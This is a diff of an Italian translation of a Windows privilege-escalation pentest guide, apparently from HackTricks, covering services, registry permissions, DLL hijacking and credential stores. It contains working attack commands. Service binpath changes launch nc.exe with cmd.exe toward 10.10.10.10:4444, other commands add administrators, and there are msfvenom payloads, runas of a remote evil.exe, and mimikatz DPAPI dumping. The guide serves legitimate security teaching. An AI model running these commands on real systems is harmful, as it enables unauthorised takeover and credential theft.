'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials** sono autenticate dalla **Local Security Authority** (LSA) e utilizzate dai componenti del sistema operativo. Quando i dati di logon di un utente vengono autenticati da un registered security package, le **domain credentials** per l'utente vengono tipicamente stabilite.\ +**Domain credentials** vengono autenticate dalla **Local Security Authority** (LSA) e utilizzate dai componenti del sistema operativo. Quando i dati di logon di un utente vengono autenticati da un security package registrato, le domain credentials per l'utente vengono tipicamente stabilite.\ [**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT @@ -326,7 +325,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### Enumerare Utenti & Gruppi -Dovresti verificare se uno dei gruppi a cui appartieni ha permessi interessanti +Dovresti verificare se uno dei gruppi di cui fai parte ha permessi interessanti. ```bash # CMD net users %username% #Me @@ -343,7 +342,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Gruppi privilegiati -Se **appartieni a qualche gruppo privilegiato potresti essere in grado di elevare i privilegi**. Scopri i gruppi privilegiati e come abusarne per elevare i privilegi qui: +Se **appartieni a qualche gruppo privilegiato potresti riuscire a ottenere privilegi elevati**. Scopri i gruppi privilegiati e come abusarne per ottenere privilegi elevati qui: {{#ref}} @@ -352,15 +351,15 @@ Se **appartieni a qualche gruppo privilegiato potresti essere in grado di elevar ### Manipolazione dei token -**Per saperne di più** su cosa sia un **token** in questa pagina: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Consulta la pagina seguente per **scoprire i token interessanti** e come abusarne: +**Scopri di più** su cos'è un **token** in questa pagina: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +Consulta la pagina seguente per **scoprire token interessanti** e come abusarne: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### Utenti connessi / Sessioni +### Utenti loggati / Sessioni ```bash qwinsta klist sessions @@ -382,8 +381,8 @@ powershell -command "Get-Clipboard" ### Permessi di file e cartelle -Prima di tutto, quando elenchi i processi **controlla se ci sono password nella riga di comando del processo**.\ -Controlla se puoi **sovrascrivere qualche binary in esecuzione** o se hai i permessi di scrittura della cartella dei binary per sfruttare possibili [**DLL Hijacking attacks**](dll-hijacking/index.html): +Prima di tutto, elencando i processi, controlla se ci sono password nella riga di comando del processo.\ +Verifica se puoi **sovrascrivere qualche binary in esecuzione** o se hai permessi di scrittura sulla cartella dei binary per sfruttare possibili [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -394,7 +393,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Controlla sempre la presenza di [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Controlla sempre la presenza di possibili [**electron/cef/chromium debuggers** in esecuzione, potresti abusarne per escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **Controllo dei permessi dei binari dei processi** ```bash @@ -405,7 +404,7 @@ icacls "%%z" ) ) ``` -**Verifica dei permessi delle cartelle dei binari dei processi (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Verifica delle autorizzazioni delle cartelle dei binari dei processi (**[**DLL Hijacking**](dll-hijacking/index.html)**)**) ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -413,17 +412,17 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone todos %username%" && echo. ) ``` -### Estrazione di password dalla memoria +### Memory Password mining -Puoi creare un dump della memoria di un processo in esecuzione usando **procdump** da sysinternals. Servizi come FTP hanno le **credentials in clear text in memory**. Prova a eseguire il dump della memoria e a leggere le credentials. +Puoi creare un dump della memoria di un processo in esecuzione usando **procdump** da sysinternals. Servizi come FTP hanno le **credentials in clear text in memory**, prova a effettuare il dump della memoria e leggere le credentials. ```bash procdump.exe -accepteula -ma ``` ### Applicazioni GUI insicure -**Le applicazioni in esecuzione come SYSTEM possono consentire a un utente di avviare un CMD o di esplorare le directory.** +**Applicazioni in esecuzione come SYSTEM possono permettere a un utente di avviare un CMD o esplorare directory.** -Esempio: "Windows Help and Support" (Windows + F1), cerca "command prompt", clicca su "Click to open Command Prompt" +Esempio: "Windows Help and Support" (Windows + F1), cerca "command prompt", fai clic su "Click to open Command Prompt" ## Servizi @@ -440,11 +439,11 @@ Puoi usare **sc** per ottenere informazioni su un servizio ```bash sc qc ``` -È consigliabile avere il binario **accesschk** di _Sysinternals_ per verificare il livello di privilegi richiesto per ogni servizio. +Si consiglia di avere il binario **accesschk** di _Sysinternals_ per verificare il livello di privilegi richiesto per ogni servizio. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -Si consiglia di verificare se "Authenticated Users" possono modificare qualsiasi servizio: +È consigliabile verificare se "Authenticated Users" può modificare qualsiasi servizio: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -455,7 +454,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ### Abilitare il servizio -Se riscontri questo errore (per esempio con SSDPSRV): +Se ricevi questo errore (ad esempio con SSDPSRV): _System error 1058 has occurred._\ _The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ @@ -467,13 +466,13 @@ sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` **Tieni presente che il servizio upnphost dipende da SSDPSRV per funzionare (per XP SP1)** -**Another workaround** per questo problema è eseguire: +**Un'altra soluzione a questo problema è eseguire:** ``` sc.exe config usosvc start= auto ``` -### **Modifica del percorso dell'eseguibile del servizio** +### **Modificare il percorso del binario del servizio** -Nello scenario in cui il gruppo "Authenticated users" possieda **SERVICE_ALL_ACCESS** su un servizio, è possibile modificare l'eseguibile del servizio. Per modificare ed eseguire **sc**: +Nello scenario in cui il gruppo "Authenticated users" possiede **SERVICE_ALL_ACCESS** su un servizio, è possibile modificare l'eseguibile del servizio. Per modificare ed eseguire **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -481,7 +480,7 @@ sc config binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" ``` -### Riavvia il servizio +### Riavviare il servizio ```bash wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] @@ -489,17 +488,17 @@ net stop [service name] && net start [service name] I privilegi possono essere elevati tramite varie autorizzazioni: - **SERVICE_CHANGE_CONFIG**: Consente la riconfigurazione del binario del servizio. -- **WRITE_DAC**: Abilita la riconfigurazione delle autorizzazioni, permettendo di modificare le configurazioni del servizio. -- **WRITE_OWNER**: Consente di acquisire la proprietà e di riconfigurare le autorizzazioni. -- **GENERIC_WRITE**: Concede la possibilità di modificare le configurazioni del servizio. -- **GENERIC_ALL**: Anche questo concede la possibilità di modificare le configurazioni del servizio. +- **WRITE_DAC**: Permette la riconfigurazione delle autorizzazioni, portando alla possibilità di modificare le configurazioni dei servizi. +- **WRITE_OWNER**: Consente l'acquisizione della proprietà e la riconfigurazione delle autorizzazioni. +- **GENERIC_WRITE**: Eredita la capacità di modificare le configurazioni dei servizi. +- **GENERIC_ALL**: Anche questo eredita la capacità di modificare le configurazioni dei servizi. -Per il rilevamento e lo sfruttamento di questa vulnerabilità, può essere utilizzato _exploit/windows/local/service_permissions_. +Per il rilevamento e lo sfruttamento di questa vulnerabilità, può essere utilizzato il modulo _exploit/windows/local/service_permissions_. -### Services binaries weak permissions +### Permessi deboli dei binari dei servizi -**Controlla se puoi modificare il binario che viene eseguito da un servizio** o se hai **permessi di scrittura sulla cartella** where the binary is located ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Puoi ottenere ogni binario che viene eseguito da un servizio usando **wmic** (non in system32) e verificare i tuoi permessi usando **icacls**: +**Verifica se puoi modificare il binario eseguito da un servizio** o se hai **permessi di scrittura sulla cartella** dove si trova il binario ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Puoi ottenere ogni binario eseguito da un servizio usando **wmic** (not in system32) e verificare i tuoi permessi usando **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -511,10 +510,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Permessi di modifica del service registry +### Permessi di modifica del registro dei servizi -Dovresti verificare se puoi modificare qualsiasi service registry.\ -Puoi **verificare** le tue **permissions** su un service **registry** eseguendo: +Dovresti verificare se puoi modificare qualsiasi registro dei servizi.\ +Puoi **verificare** i tuoi **permessi** sul **registro** dei servizi facendo: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -523,32 +522,32 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Verificare se **Authenticated Users** o **NT AUTHORITY\INTERACTIVE** possiedono i permessi `FullControl`. In tal caso, il binary eseguito dal servizio può essere modificato. +Deve essere verificato se **Authenticated Users** o **NT AUTHORITY\INTERACTIVE** possiedono i permessi `FullControl`. Se sì, il binario eseguito dal servizio può essere alterato. -Per cambiare il Path del binary eseguito: +Per cambiare il percorso del binario eseguito: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` ### Permessi AppendData/AddSubdirectory del registro dei servizi -Se hai questo permesso su un registro significa che **puoi creare sotto-registri a partire da questo**. Nel caso dei servizi Windows questo è **sufficiente per eseguire codice arbitrario:** +Se hai questo permesso su un registro, significa che **puoi creare sottoregistri da questo**. Nel caso dei Windows services questo è **sufficiente per eseguire codice arbitrario:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Percorsi di servizi non racchiusi tra virgolette +### Unquoted Service Paths -Se il percorso di un eseguibile non è racchiuso tra virgolette, Windows proverà a eseguire ogni parte che precede uno spazio. +Se il percorso verso un eseguibile non è racchiuso tra virgolette, Windows tenterà di eseguire ogni percorso che termina prima di uno spazio. -Ad esempio, per il percorso _C:\Program Files\Some Folder\Service.exe_ Windows proverà a eseguire: +Ad esempio, per il percorso _C:\Program Files\Some Folder\Service.exe_ Windows tenterà di eseguire: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Elenca tutti i percorsi di servizio non racchiusi tra virgolette, escludendo quelli appartenenti ai servizi integrati di Windows: +Elenca tutti i percorsi dei servizi non racchiusi tra virgolette, escludendo quelli appartenenti ai servizi Windows integrati: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -568,19 +567,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Puoi rilevare e usare exploit** su questa vulnerabilità con metasploit: `exploit/windows/local/trusted\_service\_path` Puoi creare manualmente un binario di servizio con metasploit: +**Puoi rilevare e sfruttare** questa vulnerabilità con metasploit: `exploit/windows/local/trusted\_service\_path` Puoi creare manualmente un binario di servizio con metasploit: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Azioni di ripristino -Windows permette agli utenti di specificare azioni da eseguire se un servizio si arresta. Questa funzionalità può essere configurata per puntare a un binary. Se questo binary è sostituibile, potrebbe essere possibile una privilege escalation. Maggiori dettagli sono disponibili nella [official documentation](). +Windows permette agli utenti di specificare azioni da eseguire se un servizio fallisce. Questa funzionalità può essere configurata per puntare a un binary. Se questo binary è sostituibile, potrebbe essere possibile privilege escalation. Maggiori dettagli sono disponibili nella [documentazione ufficiale](). ## Applicazioni ### Applicazioni installate -Controlla **i permessi dei binaries** (potresti riuscire a sovrascriverne uno e escalate privileges) e delle **cartelle** ([DLL Hijacking](dll-hijacking/index.html)). +Controlla i **permessi dei binaries** (potresti riuscire a sovrascriverne uno e ottenere privilege escalation) e delle **cartelle** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -591,7 +590,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Permessi di scrittura -Verifica se puoi modificare qualche config file per leggere un file speciale oppure se puoi modificare qualche binary che verrà eseguito da un account Administrator (schedtasks). +Verifica se puoi modificare qualche file di configurazione per leggere un file particolare o se puoi modificare un binario che verrà eseguito da un account Administrator (schedtasks). Un modo per trovare permessi deboli su cartelle/file nel sistema è eseguire: ```bash @@ -618,8 +617,8 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Esecuzione all'avvio -**Controlla se puoi sovrascrivere qualche chiave del registro o un binario che sarà eseguito da un altro utente.**\ -**Leggi** la **pagina seguente** per saperne di più sulle **posizioni autoruns interessanti per l'escalation dei privilegi**: +**Controlla se puoi sovrascrivere qualche registro o binario che verrà eseguito da un utente diverso.**\ +**Leggi** la **pagina seguente** per saperne di più sulle interessanti **autoruns locations to escalate privileges**: {{#ref}} @@ -634,7 +633,7 @@ driverquery driverquery.exe /fo table driverquery /SI ``` -Se un driver espone una primitive di lettura/scrittura arbitraria del kernel (comune in IOCTL handlers progettati male), puoi ottenere l'elevazione dei privilegi rubando direttamente un SYSTEM token dalla memoria del kernel. Vedi la tecnica passo‑passo qui: +Se un driver espone un arbitrary kernel read/write primitive (comune in IOCTL handlers mal progettati), puoi ottenere l'escalation dei privilegi rubando un SYSTEM token direttamente dalla kernel memory. Vedi la tecnica passo‑passo qui: {{#ref}} arbitrary-kernel-rw-token-theft.md @@ -643,7 +642,7 @@ arbitrary-kernel-rw-token-theft.md ## PATH DLL Hijacking -Se hai **permessi di scrittura all'interno di una cartella presente in PATH** potresti riuscire a hijackare una DLL caricata da un processo e **elevare i privilegi**. +Se hai **permessi di scrittura in una cartella presente in PATH** potresti riuscire a dirottare una DLL caricata da un processo e **elevare i privilegi**. Controlla i permessi di tutte le cartelle presenti in PATH: ```bash @@ -668,7 +667,7 @@ net share #Check current shares ``` ### hosts file -Verifica la presenza di altri computer noti hardcoded nel hosts file +Verificare la presenza di altri computer noti hardcoded nel hosts file ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -678,7 +677,7 @@ ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Porte aperte +### Open Ports Controlla la presenza di **servizi ristretti** dall'esterno ```bash @@ -696,9 +695,9 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### Firewall Rules -[**Consulta questa pagina per comandi relativi al Firewall**](../basic-cmd-for-pentesters.md#firewall) **(elencare regole, creare regole, disattivare, disattivare...)** +[**Controlla questa pagina per comandi relativi a Firewall**](../basic-cmd-for-pentesters.md#firewall) **(elencare le regole, creare regole, disattivare, disattivare...)** -Altri [comandi per network enumeration qui](../basic-cmd-for-pentesters.md#network) +Altri[ comandi per network enumeration qui](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash @@ -707,7 +706,7 @@ C:\Windows\System32\wsl.exe ``` Il binario `bash.exe` può anche essere trovato in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Se ottieni l'utente root puoi ascoltare su qualsiasi porta (la prima volta che usi `nc.exe` per ascoltare su una porta ti chiederà via GUI se `nc` deve essere consentito dal firewall). +Se ottieni root user puoi ascoltare su qualsiasi porta (la prima volta che usi `nc.exe` per ascoltare su una porta ti verrà chiesto tramite GUI se `nc` deve essere consentito dal firewall). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -716,9 +715,9 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` Per avviare facilmente bash come root, puoi provare `--default-user root` -Puoi esplorare il filesystem `WSL` nella cartella `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` +Puoi esplorare il filesystem di `WSL` nella cartella `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` -## Credenziali Windows +## Credenziali di Windows ### Credenziali Winlogon ```bash @@ -734,14 +733,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ``` ### Gestore credenziali / Windows vault -Da [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Il Windows Vault memorizza le credenziali utente per server, siti web e altri programmi che **Windows** può **eseguire l'access automaticall**y. A prima vista potrebbe sembrare che gli utenti possano memorizzare le credenziali di Facebook, Twitter, Gmail ecc., in modo da effettuare automaticamente il login tramite i browser. Ma non è così. +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +The Windows Vault memorizza le credenziali degli utenti per server, siti web e altri programmi che **Windows** può **eseguire automaticamente il login degli utenti**y. A prima vista, potrebbe sembrare che gli utenti possano memorizzare le loro credenziali di Facebook, Twitter, Gmail ecc., in modo da effettuare automaticamente l'accesso tramite browser. Ma non è così. -Windows Vault memorizza credenziali che Windows può usare per effettuare automaticamente il login degli utenti, il che significa che qualsiasi **Windows application that needs credentials to access a resource** (server o un sito web) **can make use of this Credential Manager** & Windows Vault e utilizzare le credenziali fornite invece che gli utenti debbano inserire username e password ogni volta. +Windows Vault memorizza credenziali che Windows può usare per l'accesso automatico degli utenti, il che significa che qualsiasi **applicazione Windows che ha bisogno di credenziali per accedere a una risorsa** (server o un sito web) **può fare uso di questo Credential Manager** & Windows Vault e utilizzare le credenziali fornite invece che gli utenti inseriscano nome utente e password ogni volta. -A meno che le applicazioni non interagiscano con il Credential Manager, non credo sia possibile per loro usare le credenziali per una data risorsa. Quindi, se la tua applicazione vuole usare il vault, dovrebbe in qualche modo **communicate with the credential manager and request the credentials for that resource** dal vault di archiviazione predefinito. +A meno che le applicazioni non interagiscano con il Credential Manager, non credo sia possibile per loro utilizzare le credenziali per una data risorsa. Quindi, se la tua applicazione vuole sfruttare il vault, dovrebbe in qualche modo **comunicare con il Credential Manager e richiedere le credenziali per quella risorsa** dal vault di archiviazione predefinito. -Usa il comando `cmdkey` per elencare le credenziali memorizzate sulla macchina. +Use the `cmdkey` to list the stored credentials on the machine. ```bash cmdkey /list Currently stored credentials: @@ -749,38 +748,38 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Puoi quindi usare `runas` con l'opzione `/savecred` per utilizzare le credenziali salvate. L'esempio seguente esegue un binario remoto tramite una condivisione SMB. +Poi puoi usare `runas` con l'opzione `/savecred` per utilizzare le credenziali salvate. L'esempio seguente esegue un binario remoto tramite una condivisione SMB. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Uso di `runas` con un set di credenziali fornito. +Usare `runas` con un set di credenziali fornito. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Nota che mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o da [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Nota che mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o dal [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -La **Data Protection API (DPAPI)** fornisce un metodo per la cifratura simmetrica dei dati, usata principalmente all'interno del sistema operativo Windows per la cifratura simmetrica delle chiavi private asimmetriche. Questa cifratura sfrutta un segreto dell'utente o del sistema per contribuire in modo significativo all'entropia. +La **Data Protection API (DPAPI)** fornisce un metodo per la crittografia simmetrica dei dati, utilizzata principalmente nel sistema operativo Windows per la crittografia simmetrica delle chiavi private asimmetriche. Questa crittografia sfrutta un segreto dell'utente o del sistema per contribuire in modo significativo all'entropia. -**DPAPI consente la cifratura delle chiavi tramite una chiave simmetrica che viene derivata dai segreti di login dell'utente**. In scenari di cifratura di sistema, utilizza i segreti di autenticazione di dominio del sistema. +**DPAPI consente la crittografia delle chiavi tramite una chiave simmetrica derivata dai segreti di login dell'utente**. In scenari di crittografia di sistema, utilizza i segreti di autenticazione di dominio del sistema. -Le chiavi RSA utente cifrate, tramite DPAPI, sono memorizzate nella directory %APPDATA%\Microsoft\Protect\{SID}, dove `{SID}` rappresenta il [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) dell'utente. **La chiave DPAPI, co-locata con la master key che protegge le chiavi private dell'utente nello stesso file**, consiste tipicamente di 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo di elencarne il contenuto tramite il comando `dir` in CMD, sebbene possa essere elencata tramite PowerShell). +Le chiavi RSA utente cifrate, tramite DPAPI, sono memorizzate nella directory `%APPDATA%\Microsoft\Protect\{SID}`, dove `{SID}` rappresenta il [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) dell'utente. **La DPAPI key, co-located con la master key che tutela le chiavi private dell'utente nello stesso file**, consiste tipicamente di 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo di elencarne il contenuto tramite il comando `dir` in CMD, sebbene possa essere elencata tramite PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Puoi usare il **mimikatz module** `dpapi::masterkey` con gli argomenti appropriati (`/pvk` o `/rpc`) per decrittarlo. +Puoi usare **mimikatz module** `dpapi::masterkey` con gli argomenti appropriati (`/pvk` o `/rpc`) per decifrarlo. -I **file delle credenziali protetti dalla master password** si trovano solitamente in: +I file delle **credenziali protette dalla master password** si trovano solitamente in: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Puoi usare **mimikatz module** `dpapi::cred` con il `/masterkey` appropriato per decrypt.\ -Puoi **extract many DPAPI** **masterkeys** from **memory** con il modulo `sekurlsa::dpapi` (se sei root). +Puoi usare **mimikatz module** `dpapi::cred` con il appropiate `/masterkey` per decriptare.\ +Puoi **estrarre molte DPAPI** **masterkeys** dalla **memoria** con il modulo `sekurlsa::dpapi` (se sei root). {{#ref}} @@ -789,9 +788,9 @@ dpapi-extracting-passwords.md ### PowerShell Credentials -**PowerShell credentials** sono spesso usate per attività di **scripting** e automazione come modo comodo per memorizzare credenziali criptate. Le credenziali sono protette usando **DPAPI**, il che generalmente significa che possono essere decrypt solo dallo stesso utente sullo stesso computer su cui sono state create. +Le **PowerShell credentials** sono spesso usate per attività di **scripting** e automazione come modo pratico per memorizzare credenziali criptate. Le credenziali sono protette usando **DPAPI**, il che in genere significa che possono essere decriptate solo dallo stesso utente sullo stesso computer su cui sono state create. -Per **decrypt** una PS credentials dal file che la contiene puoi fare: +Per **decriptare** una PS credentials dal file che la contiene puoi fare: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -813,7 +812,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ``` ### Connessioni RDP salvate -Puoi trovarle in `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +Si trovano in `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ e in `HKCU\Software\Microsoft\Terminal Server Client\Servers\` ### Comandi eseguiti di recente @@ -821,7 +820,7 @@ e in `HKCU\Software\Microsoft\Terminal Server Client\Servers\` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Gestore delle credenziali del Desktop remoto** +### **Gestore credenziali Desktop remoto** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` @@ -830,13 +829,13 @@ Puoi **estrarre molte DPAPI masterkeys** dalla memoria con il modulo Mimikatz `s ### Sticky Notes -Le persone spesso usano l'app StickyNotes su workstation Windows per **salvare password** e altre informazioni, senza rendersi conto che si tratta di un file di database. Questo file si trova in `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` ed è sempre utile cercarlo ed esaminarlo. +Spesso gli utenti usano l'app StickyNotes sui workstation Windows per **salvare password** e altre informazioni, senza rendersi conto che è un file di database. Questo file è situato in `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` ed è sempre opportuno cercarlo ed esaminarlo. ### AppCmd.exe -**Nota che per recuperare le password da AppCmd.exe è necessario essere Administrator ed eseguire con un livello di integrità High.**\ -**AppCmd.exe** si trova nella directory `%systemroot%\system32\inetsrv\`.\ -Se questo file esiste allora è possibile che alcune **credentials** siano state configurate e possano essere **recuperate**. +**Nota che per recuperare le password da AppCmd.exe è necessario essere Administrator ed eseguire con High Integrity level.**\ +**AppCmd.exe** si trova nella directory `%systemroot%\system32\inetsrv\`.\ +Se questo file esiste, è possibile che siano state configurate alcune **credentials** e che possano essere **recuperate**. Questo codice è stato estratto da [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash @@ -919,38 +918,39 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Verifica se `C:\Windows\CCM\SCClient.exe` esiste .\ -Gli installer vengono **eseguiti con privilegi SYSTEM**, molti sono vulnerabili a **DLL Sideloading (Info da** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Installers vengono **eseguiti con privilegi SYSTEM**, molti sono vulnerabili a **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## File e Registro (Credenziali) +## File e Registro (Credentials) ### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH Host Keys +### Chiavi host SSH di Putty ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` ### SSH keys nel registro -Le chiavi private SSH possono essere memorizzate nella chiave di registro `HKCU\Software\OpenSSH\Agent\Keys`, quindi dovresti controllare se c'è qualcosa di interessante lì: +Le SSH private keys possono essere memorizzate nella chiave di registro `HKCU\Software\OpenSSH\Agent\Keys`, quindi dovresti verificare se c'è qualcosa di interessante lì: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Se trovi una voce in quel percorso probabilmente è una SSH key salvata. È memorizzata crittografata ma può essere facilmente decrittata usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ -Maggiori informazioni su questa tecnica qui: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +Se trovi una voce all'interno di quel percorso sarà probabilmente una SSH key salvata. È memorizzata crittografata ma può essere facilmente decrittata usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Ulteriori informazioni su questa tecnica qui: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Se il servizio `ssh-agent` non è in esecuzione e 